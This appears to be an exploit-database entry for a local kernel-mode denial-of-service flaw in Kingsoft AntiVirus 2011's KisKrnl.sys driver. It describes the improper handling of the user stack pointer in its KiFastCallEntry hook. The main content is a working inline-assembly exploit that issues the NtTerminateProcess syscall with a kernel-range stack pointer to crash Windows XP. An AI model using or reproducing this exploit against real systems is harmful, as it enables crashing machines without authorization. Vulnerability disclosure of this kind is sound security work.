Kingsoft AntiVirus 2011 SP5.2 'KisKrnl.sys' 2011.1.13.89 - Local Kernel Mode Denial of Service

                							

                # Kingsoft AntiVirus 2011 SP5.2 KisKrnl.sys <= 2011.1.13.89 Local Kernel Mode D.O.S Exploit
# Date: 2011-1-16
# Author: MJ0011
# Software Link: http://cd001.www.duba.net/duba/install/2011/once/KAV110114_DOWN_9_13.exe
# Version: KingSoft AntiVirus 2011 SP5.2 with KisKrnl.sys <=2011.1.13.89
# Tested on: Windows XP SP3

DETAILS:
KisKrnl.sys hook the kernel function KiFastCallEntry , but is not correctly handle user stack pointer

EXPLOIT CODE:

__asm
{
mov edx , 0x80000000
mov eax , 0x101        ;id of NtTerminateProcess under Windows XP 
int 0x2e
}